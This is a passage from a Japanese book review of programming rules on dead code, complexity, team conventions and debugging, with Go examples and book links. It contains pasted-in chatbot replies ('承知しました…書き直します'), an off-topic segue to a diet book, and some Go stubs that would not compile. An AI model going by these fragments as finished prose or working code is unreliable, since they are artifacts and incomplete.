に検出し、デバッグにかかる時間を削減することができました。ただし、著者の主張にも若干の批判的な視点を加えるならば、失敗ケースの完全な排除を目指すことで、かえってコードが複雑になり、可読性が低下する可能性もあります。そのため、失敗ケースの排除と、コードの簡潔さのバランスを取ることが重要です。最後に、この章の教訓は、単に個々の開発者のコーディング習慣を改善するだけでなく、チーム全体の開発プロセスや設計方針にも適用できます。例えば、コードレビューの基準に「失敗ケースの排除」を含めたり、アーキテクチャ設計の段階で潜在的な失敗ケースを特定し、それらを排除する戦略を立てたりすることができます。この原則を実践することで、より信頼性の高い、堅牢なソフトウェアを開発することができるでしょう。それは、単にバグの少ないコードを書くということだけでなく、予測可能で、管理しやすい、高品質なソフトウェアを作り出すことを意味します。これは、長期的な視点で見たときに、開発効率の向上とメンテナンスコストの削減につながる重要な投資だと言えるでしょう。Rule 8. Code That Isn\'t Running Doesn\'t Work第8章「Code That Isn\'t Running Doesn\'t Work」は、ソフトウェア開発における重要だが見落とされがちな問題、すなわち使用されていないコード(デッドコード)の危険性について深く掘り下げています。著者は、一見無害に見えるデッドコードが、実際にはプロジェクトの健全性と保守性に大きな影響を与える可能性があることを、具体的な例を通じて説明しています。この章を通じて、コードベースの進化と、それに伴う予期せぬ問題の発生メカニズムについて、実践的な洞察が提供されています。ソフトウェア開発において、「疲れないコード」を作ることも重要です。疲れないコードとは、読みやすく、理解しやすく、そして保守が容易なコードを指します。このようなコードは、長期的なプロジェクトの健全性を維持し、開発者の生産性を向上させる上で極めて重要です。疲れないコードを書くことで、デッドコードの発生を防ぎ、コードベース全体の品質を高めることができるのです。疲れない体をつくる最高の食事術作者:牧田 善二小学館Amazonデッドコードの定義と危険性著者は、デッドコードを「かつては使用されていたが、現在は呼び出されていないコード」と定義しています。これは一見、単なる無駄なコードに過ぎないように思えるかもしれません。しかし、著者はデッドコードが単なる無駄以上の問題を引き起こす可能性があることを強調しています。デッドコードの危険性は、それが「動作しているかどうか分からない」という点にあります。使用されていないコードは、周囲のコードの変更に応じて更新されることがありません。そのため、いつの間にか古くなり、バグを含む可能性が高くなります。さらに悪いことに、そのバグは誰にも気付かれません。なぜなら、そのコードは実行されていないからです。この状況を、著者は「シュレディンガーの猫」になぞらえています。デッドコードは、箱の中の猫のように、観察されるまでその状態(正常か異常か)が分かりません。そして、いざそのコードが再び使用されたとき、予期せぬバグが顕在化する可能性があるのです。コードの進化と予期せぬ問題著者は、コードベースの進化過程を川の流れに例えています。川の流れが変わるように、コードの使用パターンも時間とともに変化します。その過程で、かつては重要だった機能が使われなくなることがあります。これがデッドコードの発生源となります。著者は、この進化の過程を4つのステップに分けて説明しています。各ステップで、コードベースがどのように変化し、それに伴ってどのような問題が潜在的に発生するかを詳細に解説しています。特に印象的だったのは、一見無関係に見える変更が、思わぬところでバグを引き起こす可能性があるという指摘です。例えば、あるメソッドが使われなくなった後、そのメソッドに関連する新機能が追加されたとします。このとき、そのメソッドは新機能に対応するように更新されないかもしれません。そして後日、誰かがそのメソッドを再び使用しようとしたとき、予期せぬバグが発生する可能性があるのです。この例は、デッドコードが単なる無駄以上の問題を引き起こす可能性を明確に示しています。デッドコードは、時間の経過とともに「時限爆弾」となる可能性があるのです。デッドコードの検出と対策著者は、デッドコードの問題に対する一般的な対策として、ユニットテストの重要性を認めつつも、その限界についても言及しています。確かに、すべてのコードにユニットテストを書くことで、使用されていないコードも定期的にテストされることになります。しかし、著者はこのアプローチにも問題があると指摘しています。テストの維持コスト:使用されていないコードのテストを維持することは、それ自体が無駄なリソースの消費となる可能性があります。テストの不完全性:ユニットテストは、実際の使用環境でのすべての状況を網羅することは困難です。特に、コードベース全体の変更に伴う影響を完全にテストすることは難しいでしょう。誤った安心感:テストが通っているからといって、そのコードが実際の使用環境で正しく動作する保証にはなりません。これらの理由から、著者はデッドコードに対する最も効果的な対策は、それを積極的に削除することだと主張しています。デッドコード削除の実践著者の主張は、一見過激に感じるかもしれません。使えそうなコードを削除するのは、もったいないと感じる開発者も多いでしょう。しかし、著者はデッドコードを削除することのメリットを以下のように説明しています。コードベースの簡素化:使用されていないコードを削除することで、コードベース全体が小さくなり、理解しやすくなります。保守性の向上:デッドコードを削除することで、将来的なバグの可能性を減らすことができます。パフォーマンスの向上:使用されていないコードを削除することで、コンパイル時間やビルド時間を短縮できる可能性があります。誤用の防止:存在しないコードは誤って使用されることがありません。著者は、デッドコードを発見したら、それを喜びとともに削除するべきだと主張しています。これは、単にコードを削除するということではなく、プロジェクトの健全性を向上させる積極的な行為なのです。まとめ著者の「Code That Isn\'t Running Doesn\'t Work」という主張は、一見逆説的ですが、長年のソフトウェア開発経験に基づく深い洞察です。使用されていないコードは、単なる無駄以上に危険な存在になり得るのです。この章から学べる重要な教訓は以下のとおりです。デッドコードは潜在的なバグの温床である。コードベースの進化は不可避であり、それに伴ってデッドコードが発生する。ユニットテストはデッドコードの問題に対する完全な解決策ではない。デッドコードを発見したら、躊躇せずに削除すべきである。コードの削除は、プロジェクトの健全性を向上させる積極的な行為である。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。コードベースが大きくなるほど、デッドコードの影響は深刻になります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。「もしかしたら将来使うかもしれない」という理由で残していたコードが、実際には厄介な問題の原因になっていた経験が何度かあります。最後に、著者の「デッドコードの削除は喜びとともに行うべき」という主張は、印象的でした。コードを削除することに抵抗を感じる開発者は多いですが、それをプロジェクトを健全にする積極的な行為と捉え直すことで、より良いソフトウェア開発につながるのではないでしょうか。今後の開発では、「本当にこのコードは必要か?」「このコードは最後にいつ使われた?」という問いを常に意識しながら、より健全で保守性の高いコードベースの維持に努めていきたいと思います。デッドコードの削除は、単にコード量を減らすことではなく、プロジェクト全体の品質と効率を向上させる重要な取り組みなのです。以下に、重要な部分を太字にした文章を示します。Rule 9. Write Collapsible Code第9章「Write Collapsible Code」は、コードの可読性と理解のしやすさに焦点を当てた重要な原則を提示しています。著者は、人間の認知能力、特に短期記憶の限界を考慮に入れたコード設計の重要性を強調しています。この章を通じて、ソフトウェア開発者が直面する「コードの複雑さをいかに管理するか」という永遠の課題に対する実践的なアプローチが示されています。プログラマー脳 ~優れたプログラマーになるための認知科学に基づくアプローチ作者:フェリエンヌ・ヘルマンス,水野貴明,水野いずみ秀和システムAmazon短期記憶の限界とコードの理解著者は、人間の短期記憶が平均して7\xb12個の項目しか保持できないという心理学的な知見を基に議論を展開しています。これは、コードを読む際にも同様に適用され、一度に理解できる情報量に限界があることを意味します。この観点から、著者は「コードの崩壊性(collapsibility)」という概念を提唱しています。これは、コードの各部分が容易に抽象化され、単一の概念として理解できるようになっている状態を指します。抽象化の重要性と落とし穴著者は、適切な抽象化が「崩壊性のあるコード」を書く上で重要だと主張しています。しかし、過度な抽象化は逆効果になる可能性があることも指摘しています。チームの共通知識の活用著者は、チーム内で広く理解されている概念や慣用句を活用することの重要性を強調しています。これらは既にチームメンバーの長期記憶に存在するため、新たな短期記憶の負担を生みません。新しい抽象化の導入著者は、新しい抽象化を導入する際の慎重さも強調しています。新しい抽象化は、それが広く使用され、チームの共通知識となるまでは、かえってコードの理解を難しくする可能性があります。まとめ著者の「Write Collapsible Code」という原則は、コードの可読性と保守性を高める上で重要です。この原則は、人間の認知能力の限界を考慮に入れたソフトウェア設計の重要性を強調しています。コードの「崩壊性」を意識することで、開発者は自然と適切な抽象化レベルを選択し、チームの共通知識を活用したコードを書くようになります。これは、長期的にはコードベース全体の品質向上につながります。ただし、「崩壊性」の追求が過度の単純化や不適切な抽象化につながらないよう注意が必要です。適切なバランスを見出すには、継続的な練習と経験が必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「崩壊性のあるコード」を書くという考え方は普遍的に適用できます。Rule 10. Localize Complexity第10章「Localize Complexity」は、ソフトウェア開発における複雑性の管理という重要なトピックを深く掘り下げています。著者は、プロジェクトの規模が大きくなるにつれて複雑性が増大し、それがコードの保守性や拡張性に大きな影響を与えることを指摘しています。この章を通じて、複雑性を完全に排除することは不可能だが、それを効果的に局所化することで管理可能にする方法が示されています。反脆弱性[上]――不確実な世界を生き延びる唯一の考え方作者:ナシーム・ニコラス・タレブダイヤモンド社Amazon複雑性の本質と影響著者は冒頭で「Complexity is the enemy of scale」という強烈な一文を投げかけています。この言葉は、私の15年のエンジニア経験を通じて痛感してきたことでもあります。小規模なプロジェクトでは気にならなかった複雑性が、プロジェクトの成長とともに指数関数的に増大し、開発速度を著しく低下させる様子を何度も目の当たりにしてきました。著者は、複雑性が増大すると、コードの全体像を把握することが困難になり、バグの修正や新機能の追加が予期せぬ副作用を引き起こすリスクが高まると指摘しています。これは、特に長期的なプロジェクトや大規模なシステムにおいて顕著な問題となります。複雑性の局所化著者は、複雑性を完全に排除することは不可能だが、それを効果的に「局所化」することで管理可能になると主張しています。これは重要な洞察です。例えば、著者はsin関数やcos関数の実装を例に挙げています。これらの関数の内部実装は複雑ですが、外部から見たインターフェースはシンプルです。この「複雑性の隠蔽」こそが、優れた設計の本質だと言えるでしょう。この原則は、モダンなソフトウェア開発手法とも密接に関連しています。例えば、マイクロサービスアーキテクチャは、複雑なシステムを比較的独立した小さなサービスに分割することで、全体の複雑性を管理可能にする手法です。各サービスの内部は複雑であっても、サービス間のインターフェースをシンプルに保つことで、システム全体の複雑性を抑制することができます。複雑性の増大を防ぐ実践的アプローチ著者は、複雑性の増大を防ぐための具体的なアプローチをいくつか提示しています。特に印象的だったのは、「同じロジックを複数の場所に実装しない」という原則です。著者は、このアプローチの問題点を明確に指摘しています。新しい条件が追加されるたびに、全ての実装箇所を更新する必要が生じ、コードの保守性が急速に低下します。これは、私が「コピペプログラミング」と呼んでいる悪しき習慣そのものです。代わりに著者が提案しているのは、状態の変更を検知して一箇所でアイコンの表示を更新する方法です。この方法では、新しい条件が追加された場合でも、一箇所の修正で済むため、コードの保守性が大幅に向上します。複雑性の局所化と抽象化の関係著者は、複雑性の局所化と抽象化の関係についても言及しています。適切な抽象化は複雑性を隠蔽し、コードの理解を容易にする強力なツールです。しかし、過度な抽象化は逆効果になる可能性もあります。著者の主張する「複雑性の局所化」は、この問題に対する一つの解決策を提供していると言えるでしょう。複雑性を完全に排除するのではなく、適切に管理された形で局所化することで、システム全体の理解可能性と拡張性を維持することができます。まとめ著者の「Localize Complexity」という原則は、ソフトウェア開発において重要な指針を提供しています。複雑性は避けられないものですが、それを適切に管理することで、大規模で長期的なプロジェクトでも高い生産性と品質を維持することができます。この原則は、特に近年のマイクロサービスアーキテクチャやサーバーレスコンピューティングのトレンドとも密接に関連しています。これらの技術は、大規模なシステムを小さな、管理可能な部分に分割することで、複雑性を局所化し、システム全体の柔軟性と拡張性を高めることを目指しています。ただし、「複雑性の局所化」を追求するあまり、過度に細分化されたコンポーネントを作ってしまい、逆に全体の見通しが悪くなるというリスクもあります。適切なバランスを見出すには、継続的な実践と振り返りが必要でしょう。最後に、この原則は特定の言語や環境に限定されるものではありません。様々なプログラミングパラダイムや開発環境において、「複雑性の局所化」という考え方は普遍的に適用できます。Rule 11. Is It Twice as Good?第11章「Is It Twice as Good?」は、ソフトウェア開発における重要な判断基準を提示しています。著者は、システムの大規模な変更や再設計を行う際の指針として、「新しいシステムは現行の2倍良くなるか?」という問いを投げかけています。この章を通じて、著者はソフトウェアの進化と再設計のバランス、そして変更の決定プロセスについて深い洞察を提供しています。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社Amazonアーキテクチャの限界と変更の必要性著者はまず、全てのプロジェクトが最終的にはその設計の限界に直面することを指摘しています。これは、新しい機能の追加、データ構造の変化、パフォーマンスの問題など、様々な形で現れます。この指摘は、私の経験とも強く共鳴します。特に長期的なプロジェクトでは、当初の設計では想定していなかった要求が次々と発生し、それに対応するためにシステムを変更せざるを得なくなる状況を何度も経験してきました。著者は、このような状況に対して3つの選択肢を提示しています。問題を無視する小規模な調整で対応する大規模なリファクタリングを行うこれらの選択肢は、実際のプロジェクトでも常に検討される事項です。しかし、著者が強調しているのは、これらの選択をどのように行うかという点です。ソフトウェアアーキテクチャメトリクス ―アーキテクチャ品質を改善する10のアドバイス作者:Christian Ciceri,Dave Farley,Neal Ford,Andrew Harmel-Law,Michael Keeling,Carola Lilienthal,Jo\xe3o Rosa,Alexander von Zitzewitz,Rene Weiss,Eoin Woodsオーム社Amazon段階的進化vs継続的再発明著者は、プログラマーを2つのタイプに分類しています。Type One:常に既存のソリューションを基に考え、問題を段階的に解決しようとするタイプType Two:問題とソリューションを一緒に考え、システム全体の問題を一度に解決しようとするタイプこの分類は興味深く、自分自身や同僚のアプローチを振り返る良い機会となりました。著者は、どちらのタイプも極端に偏ると問題が生じると警告しています。Type Oneに偏ると、徐々に技術的負債が蓄積され、最終的にはシステムが硬直化してしまいます。一方、Type Twoに偏ると、常に一から作り直すことになり、過去の経験や知識が活かされず、進歩が遅れてしまいます。「2倍良くなる」ルール著者が提案する「2倍良くなる」ルールは、大規模な変更を行うかどうかを判断する際の簡潔で効果的な基準です。新しいシステムが現行の2倍良くなると確信できる場合にのみ、大規模な変更を行うべきだというこの考え方は、直感的でありながら強力です。しかし、著者も指摘しているように、「2倍良くなる」かどうかを定量的に評価することは常に可能というわけではありません。特に、開発者の生産性や、ユーザーエクスペリエンスの向上など、定性的な改善を評価する場合は難しいケースが多々あります。このような場合、著者は可能な限り定量化を試みることを推奨しています。小さな問題の解決機会としてのリワーク著者は、大規模な変更を行う際には、同時に小さな問題も解決するべきだと提案しています。これは実践的なアドバイスで、私も強く共感します。ただし、ここで注意すべきは、これらの小さな改善だけを理由に大規模な変更を行うべきではないという点です。著者の「2倍良くなる」ルールは、この判断を助ける重要な指針となります。まとめこの章の教訓は、ソフトウェア開発の現場で直接適用可能な、実践的なものです。特に、大規模なリファクタリングや再設計を検討する際の判断基準として、「2倍良くなる」ルールは有用です。しかし、このルールを機械的に適用するのではなく、プロジェクトの状況や組織の文化に応じて柔軟に解釈することが重要です。また、著者が指摘するType OneとType Twoの分類は、チーム内のバランスを考える上で有用です。多様な視点を持つメンバーでチームを構成し、お互いの強みを活かしながら決定を下していくことが、健全なソフトウェア開発につながります。最後に、この章の教訓は、単にコードレベルの判断だけでなく、プロジェクト全体の方向性を決定する際にも適用できます。新しい技術の導入、アーキテクチャの変更、開発プロセスの改善など、大きな決断を下す際には常に「これは現状の2倍良くなるか?」という問いを念頭に置くべきでしょう。承知しました。Golangのサンプルコードを提供し、結論を分散させた形で書き直します。Rule 12. Big Teams Need Strong Conventions第12章「Big Teams Need Strong Conventions」は、大規模なソフトウェア開発プロジェクトにおけるコーディング規約の重要性を深く掘り下げています。この章を通じて、著者は大規模チームでの開発における課題と、それを克服するための戦略を明確に示しています。特に、一貫したコーディングスタイルとプラクティスがチームの生産性と効率性にどのように影響するかを考察しています。シカゴ学派の社会学 (世界思想ゼミナール)世界思想社教学社Amazonコーディング規約の必要性著者は、プログラミングの複雑さが個人やチームの生産性を制限する主要な要因であると指摘しています。複雑さを管理し、シンプルさを維持することが、成功の鍵だと強調しています。この原則は、プロジェクトの規模や性質に関わらず適用されますが、大規模なチームでの開発においてはより重要性を増します。大規模なチームでは、個々の開発者が「自分のコード」と「他人のコード」の境界を引こうとする傾向があります。しかし、著者はこのアプローチが長期的には機能しないと警告しています。プロジェクトが進むにつれて、コードの境界は曖昧になり、チームメンバーは常に他人のコードを読み、理解し、修正する必要が出てきます。この状況に対処するため、著者は強力な共通のコーディング規約の必要性を主張しています。共通の規約は、コードの一貫性を保ち、チームメンバー全員がコードを容易に理解し、修正できるようにするための重要なツールです。フォーマットの一貫性著者は、コードのフォーマットの一貫性が重要であることを強調しています。異なるコーディングスタイルは、コードの理解を難しくし、生産性を低下させる可能性があります。Golangを使用してこの点を説明しましょう。// 一貫性のないフォーマットtype tree struct {left, right *tree; value int}func sum(t *tree) int {if t == nil {return 0}return t.value + sum(t.left) + sum(t.right)}// 一貫性のあるフォーマットtype Tree struct { Left *Tree Right *Tree Value int}func Sum(t *Tree) int { if t == nil { return 0 } return t.Value + Sum(t.Left) + Sum(t.Right)}これらのコードは機能的には同じですが、フォーマットが大きく異なります。一方のスタイルに慣れた開発者が他方のスタイルのコードを読む際、理解に時間がかかり、エラーを見逃す可能性が高くなります。この問題に対処するため、著者はチーム全体で一貫したフォーマットを採用することを強く推奨しています。Golangの場合、gofmtツールを使用することで、自動的に一貫したフォーマットを適用できます。言語機能の使用規約著者は、プログラミング言語の機能の使用方法に関する規約の重要性も強調しています。言語機能の使用方法が開発者によって異なると、コードの理解と保守が困難になります。例えば、Golangのゴルーチンとチャネルの使用を考えてみます。func SumTreeConcurrently(t *Tree) int { if t == nil { return 0 } leftChan := make(chan int) rightChan := make(chan int) go func() { leftChan <- SumTreeConcurrently(t.Left) }() go func() { rightChan <- SumTreeConcurrently(t.Right) }() return t.Value + <-leftChan + <-rightChan}このコードは並行処理を利用していますが、小さな木構造に対しては過剰な最適化かもしれません。著者は、チーム内で言語機能の使用に関する合意を形成し、一貫して適用することの重要性を強調しています。問題解決の規約著者は、問題解決アプローチにも一貫性が必要だと指摘しています。同じ問題に対して異なる解決方法を用いると、コードの重複や、予期せぬ相互作用の原因となる可能性があります。著者は、一つのプロジェクト内で複数のエラーハンドリング方法を混在させることの危険性を警告しています。チーム全体で一貫したアプローチを選択し、それを徹底することが重要です。チームの思考の統一著者は、効果的なチームの究極の目標を「一つの問題に対して全員が同じコードを書く」状態だと定義しています。これは単に同じフォーマットやスタイルを使用するということではなく、問題解決のアプローチ、アルゴリズムの選択、変数の命名など、あらゆる面で一貫性を持つことを意味します。この目標を達成するために、著者は自社での実践を紹介しています。彼らは詳細なコーディング基準を設定し、コードレビューを通じてそれを徹底しています。さらに、プロジェクトの開始時にチーム全体でコーディング基準の見直しと改訂を行い、全員で合意した新しい基準を速やかに既存のコードベース全体に適用しています。まとめ著者の「Big Teams Need Strong Conventions」という主張は、大規模なソフトウェア開発プロジェクトの成功に不可欠な要素を指摘しています。一貫したコーディング規約は、単なる美的な問題ではなく、チームの生産性と効率性に直接影響を与える重要な要素です。この章から学べる重要な教訓は以下の通りです。大規模チームでは、個人の好みよりもチーム全体の一貫性を優先すべきである。コーディング規約は、フォーマット、言語機能の使用、問題解決アプローチなど、多岐にわたる要素をカバーすべきである。規約は固定的なものではなく、プロジェクトの開始時や定期的に見直し、改訂する機会を設けるべきである。規約の適用は、新規コードだけでなく既存のコードベース全体に及ぶべきである。これらの原則は、特に大規模で長期的なプロジェクトにおいて重要です。一貫したコーディング規約は、新しいチームメンバーのオンボーディングを容易にし、コードの可読性と保守性を高め、結果としてプロジェクト全体の成功につながります。私自身、この章を読んで、これまでの開発経験を振り返る良い機会となりました。特に、異なるチームメンバーが書いたコードを統合する際に直面した困難や、コーディング規約の不在がもたらした混乱を思い出しました。一方で、著者の主張に全面的に同意しつつも、現実のプロジェクトでの適用には課題もあると感じています。例えば、レガシーコードベースや、複数の言語やフレームワークを使用するプロジェクトでは、完全な一貫性を達成することは難しい場合があります。また、強力な規約が個々の開発者の創造性や革新的なアプローチを抑制する可能性についても考慮する必要があります。規約の柔軟な適用と、新しいアイデアを取り入れる余地のバランスをどう取るかが、実際の開発現場での課題となるでしょう。最後に、この章の教訓は、コーディング規約の設定と適用にとどまらず、チーム全体の文化とコミュニケーションのあり方にも及びます。規約の重要性を理解し、それを日々の開発プラクティスに組み込むためには、チーム全体の協力とコミットメントが不可欠です。大規模チームでの開発において、強力な規約は単なる制約ではなく、チームの創造性と生産性を最大化するための重要なツールです。この原則を深く理解し、適切に適用することで、より効率的で持続可能なソフトウェア開発プロセスを実現できると確信しています。Rule 13. Find the Pebble That Started the Avalanche第13章「Find the Pebble That Started the Avalanche」は、デバッグの本質と効果的なデバッグ手法について深く掘り下げています。著者は、プログラミングの大半がデバッグであるという現実を踏まえ、デバッグを効率化するためのアプローチを提示しています。この章を通じて、バグの原因を特定し、効果的に修正するための戦略が示されており、様々なプログラミング言語や開発環境に適用可能な普遍的な原則が提唱されています。禅とオートバイ修理技術 上 (ハヤカワ文庫NF)作者:ロバート M パーシグ早川書房Amazonバグのライフサイクル著者は、バグのライフサイクルを4つの段階に分けて説明しています。検出、診断、修正、テストです。ここで特に重要なのは診断の段階で、著者はこれを「時間旅行」になぞらえています。つまり、問題が発生した瞬間まで遡り、そこから一歩ずつ追跡していく過程です。この考え方は、私の経験とも強く共鳴します。例えば、以前担当していた決済システムで、特定の条件下でのみ発生する不具合があり、その原因を特定するのに苦労した経験があります。結局、トランザクションログを詳細に分析し、問題の発生時点まで遡ることで、原因を特定できました。著者が提唱する「時間旅行」的アプローチは、特に複雑なシステムでのデバッグに有効です。例えば、Golangを使用したマイクロサービスアーキテクチャにおいて、以下のようなコードで問題が発生した場合を考えてみます。func processPayment(ctx context.Context, payment *Payment) error { if err := validatePayment(payment); err != nil { return fmt.Errorf(\\"invalid payment: %w\\", err) } if err := deductBalance(ctx, payment.UserID, payment.Amount); err != nil { return fmt.Errorf(\\"failed to deduct balance: %w\\", err) } if err := createTransaction(ctx, payment); err != nil { // ここでロールバックすべきだが、されていない return fmt.Errorf(\\"failed to create transaction: %w\\", err) } return nil}このコードでは、createTransactionが失敗した場合にロールバックが行われていません。このようなバグを発見した場合、著者の提唱する方法に従えば、まず問題の症状(この場合、不整合な状態のデータ)から始めて、一歩ずつ遡っていくことになります。原因と症状の関係著者は、バグの原因と症状の関係性について深く掘り下げています。多くの場合、症状が現れた時点ですでに原因からは遠く離れていることを指摘し、この「距離」がデバッグを困難にしていると説明しています。この洞察は重要で、私もしばしば経験します。例えば、メモリリークのようなバグは、症状(アプリケーションの異常な遅延や停止)が現れた時点で、既に原因(特定のオブジェクトが適切に解放されていないこと)から何時間も経過していることがあります。著者は、この問題に対処するために、できるだけ早く問題を検出することの重要性を強調しています。これは、例えばGolangのコンテキストを使用して、長時間実行される処理を監視し、早期に異常を検出するようなアプローチにつながります。func longRunningProcess(ctx context.Context) error { for { select { case <-ctx.Done(): return ctx.Err() default: // 処理の実行 if err := doSomething(); err != nil { return fmt.Errorf(\\"process failed: %w\\", err) } } }}このように、コンテキストを使用することで、処理の異常な長期化や、親プロセスからのキャンセル指示を即座に検出できます。ステートの最小化著者は、デバッグを容易にするための重要な戦略として、ステート(状態)の最小化を強調しています。純粋関数(pure function)の使用を推奨し、これがデバッグを著しく容易にすると主張しています。この点については、強く同意します。例えば、以前担当していた在庫管理システムでは、ステートフルなコードが多く、デバッグに多大な時間を要していました。そこで、可能な限り純粋関数を使用するようにリファクタリングしたところ、バグの特定と修正が格段に容易になりました。Golangでの具体例を示すと、以下のようになります。// ステートフルな実装type Inventory struct { items map[string]int}func (i *Inventory) AddItem(itemID string, quantity int) { i.items[itemID] += quantity}// 純粋関数を使用した実装func AddItem(items map[string]int, itemID string, quantity int) map[string]int { newItems := make(map[string]int) for k, v := range items { newItems[k] = v } newItems[itemID] += quantity return newItems}純粋関数を使用した実装では、同じ入力に対して常に同じ出力が得られるため、デバッグが容易になります。避けられないステートへの対処著者は、完全にステートレスなコードを書くことは現実的ではないことを認識しつつ、避けられないステートに対処する方法についても言及しています。特に印象的だったのは、「実行可能なログファイル」という概念です。この考え方は、私が以前取り組んでいた分散システムのデバッグに役立ちました。システムの状態を定期的にスナップショットとして保存し、問題が発生した時点のスナップショットを使ってシステムを再現することで、複雑なバグの原因を特定することができました。Golangでこのアプローチを実装する例を示します。type SystemState struct { // システムの状態を表す構造体}func CaptureState() SystemState { // 現在のシステム状態をキャプチャ}func ReplayState(state SystemState) { // キャプチャした状態を再現}func ProcessRequest(req Request) Response { initialState := CaptureState() resp := processRequestInternal(req) if resp.Error != nil { log.Printf(\\"Error occurred. Initial state: %+v\\", initialState) // エラー時に初期状態を記録 } return resp}このようなアプローチを採用することで、複雑なステートを持つシステムでも、バグの再現と診断が容易になります。まとめ著者の「雪崩を引き起こした小石を見つけよ」という原則は、効果的なデバッグの本質を捉えています。症状の単なる修正ではなく、根本原因の特定と修正の重要性を強調しているのが印象的です。この章から学んだ最も重要な教訓は、デバッグを単なる「バグ修正」としてではなく、システムの振る舞いを深く理解するプロセスとして捉えることの重要性です。これは、短期的には時間がかかるように見えても、長期的にはコードの品質と開発者の理解度を大きく向上させます。私自身、この原則を実践することで、単にバグを修正するだけでなく、システム全体の設計や実装の改善にもつながった経験があります。例えば、あるマイクロサービスでのバグ修正をきっかけに、サービス間の通信プロトコルを見直し、全体的なシステムの堅牢性を向上させることができました。著者の提案する「時間旅行」的デバッグアプローチは、特に分散システムやマイクロサービスアーキテクチャのような複雑な環境で有効です。これらのシステムでは、問題の原因と症状が時間的・空間的に大きく離れていることが多いため、著者の提案するアプローチは貴重な指針となります。最後に、この章の教訓は、単にデバッグ技術の向上にとどまらず、より良いソフトウェア設計につながるものだと感じました。ステートの最小化や純粋関数の使用といった原則は、バグの発生自体を減らし、システム全体の品質を向上させる効果があります。今後の開発プロジェクトでは、この章で学んだ洞察を活かし、より効果的なデバッグ戦略を立てていきたいと思います。特に、「実行可能なログファイル」の概念を取り入れ、複雑なシステムでのデバッグを効率化することを検討していきます。同時に、ステートの最小化や純粋関数の使用を意識した設計を心がけ、バグの発生自体を減らす努力も続けていきたいと考えています。Rule 14. Code Comes in Four Flavors第14章「Code Comes in Four Flavors」は、プログラミングの問題と解決策を4つのカテゴリーに分類し、それぞれの特徴と重要性を深く掘り下げています。著者は、Easy問題とHard問題、そしてそれらに対するSimple解決策とComplicated解決策という枠組みを提示し、これらの組み合わせがプログラマーの技量をどのように反映するかを論じています。この章を通じて、コードの複雑さと単純さのバランス、そしてそれがソフトウェア開発の質と効率にどのように影響するかが明確に示されています。問いのデザイン 創造的対話のファシリテーション作者:安斎勇樹,塩瀬隆之学芸出版社Amazon4つのコードの味著者は、プログラミングの問題を「Easy」と「Hard」の2種類に大別し、さらにそれぞれの解決策を「Simple」と「Complicated」に分類しています。この枠組みは一見単純ですが、実際のプログラミング現場での課題をよく反映していると感じました。特に印象的だったのは、Easy問題に対するComplicated解決策の危険性への指摘です。私自身、過去のプロジェクトで、単純な問題に対して過度に複雑な解決策を実装してしまい、後々のメンテナンスで苦労した経験があります。例えば、単純なデータ処理タスクに対して、汎用性を追求するあまり複雑なクラス階層を設計してしまい、結果的にコードの理解と修正が困難になった事例が思い出されます。著者の主張する「Simple解決策の重要性」は、現代のソフトウェア開発においても重要です。特に、マイクロサービスアーキテクチャやサーバーレスコンピューティングが主流となっている現在、個々のコンポーネントの単純さと明確さがシステム全体の健全性に大きく影響します。複雑さのコスト著者は、不必要な複雑さがもたらす実際のコストについて詳しく論じています。複雑なコードは書くのに時間がかかり、デバッグはさらに困難になるという指摘は、私の経験とも強く共鳴します。例えば、以前参画していた大規模プロジェクトでは、初期段階で採用された過度に抽象化された設計が、プロジェクトの後半で大きな足かせとなりました。新機能の追加や既存機能の修正に予想以上の時間がかかり、結果的にプロジェクト全体のスケジュールに影響を与えてしまいました。この経験から、私は「単純さ」を設計の重要な指標の一つとして意識するようになりました。例えば、Golangを使用する際は、言語自体が持つ単純さと明確さを活かし、以下のような原則を心がけています。// 複雑な例type DataProcessor struct { data []int // 多数のフィールドと複雑なロジック}func (dp *DataProcessor) Process() int { // 複雑で理解しづらい処理}// シンプルな例func ProcessData(data []int) int { sum := 0 for _, v := range data { sum += v } return sum}シンプルな関数は理解しやすく、テストも容易です。これは、著者が主張する「Simple解決策」の具体例と言えるでしょう。プログラマーの3つのタイプ著者は、問題の難易度と解決策の複雑さの組み合わせに基づいて、プログラマーを3つのタイプに分類しています(Mediocre,Good,Great)。この分類は興味深く、自身のスキルレベルを客観的に評価する良い指標になると感じました。特に、「Great」プログラマーがHard問題に対してもSimple解決策を見出せるという指摘は、プロフェッショナルとしての目標設定に大きな示唆を与えてくれます。これは、単に技術的なスキルだけでなく、問題の本質を見抜く洞察力や、複雑な要求をシンプルな形に落とし込む能力の重要性を示唆しています。実際の開発現場では、この「Great」プログラマーの特性が如実に現れる場面があります。例えば、システムの設計段階で、複雑な要件を整理し、シンプルかつ拡張性のある設計を提案できる能力は価値があります。私自身、この「Great」プログラマーを目指して日々精進していますが、Hard問題に対するSimple解決策の発見は常に挑戦的です。例えば、分散システムにおけるデータ一貫性の問題など、本質的に複雑な課題に対して、いかにシンプルで堅牢な解決策を見出すかは、常に頭を悩ませる問題です。Hard問題のSimple解決策著者は、Hard問題に対するSimple解決策の例として、文字列の順列検索問題を取り上げています。この例は、問題の捉え方を変えることで、複雑な問題に対してもシンプルな解決策を見出せることを示しており、示唆に富んでいます。著者が示した最終的な解決策は、問題の本質を捉え、不要な複雑さを排除した素晴らしい例だと感じました。このアプローチは、実際の開発現場でも有用です。まとめこの章から得られる最も重要な教訓は、コードの単純さと明確さが、プログラマーの技量を示すということです。Easy問題に対するSimple解決策を見出せることは良いプログラマーの証ですが、Hard問題に対してもSimple解決策を提案できることが、真に優れたプログラマーの特徴だという著者の主張には強く共感します。この原則は、日々の開発作業からアーキテクチャ設計まで、あらゆる場面で意識すべきものだと感じています。特に、チーム開発においては、個々のメンバーがこの原則を理解し実践することで、プロジェクト全体の品質と効率が大きく向上すると確信しています。今後の自身の開発アプローチとしては、以下の点を特に意識していきたいと思います。問題の本質を見極め、不要な複雑さを排除する努力を常に行う。Easy問題に対しては、過度に複雑な解決策を提案しないよう注意する。Hard問題に直面した際も、まずはSimple解決策の可能性を探る。コードレビューの際は、解決策の複雑さと問題の難易度のバランスを重視する。最後に、この章の教訓は単にコーディングスキルの向上だけでなく、問題解決能力全般の向上にもつながると感じました。ソフトウェア開発の世界では新しい技術や手法が次々と登場しますが、「シンプルさ」という原則は普遍的な価値を持ち続けるでしょう。この原則を常に意識し、実践し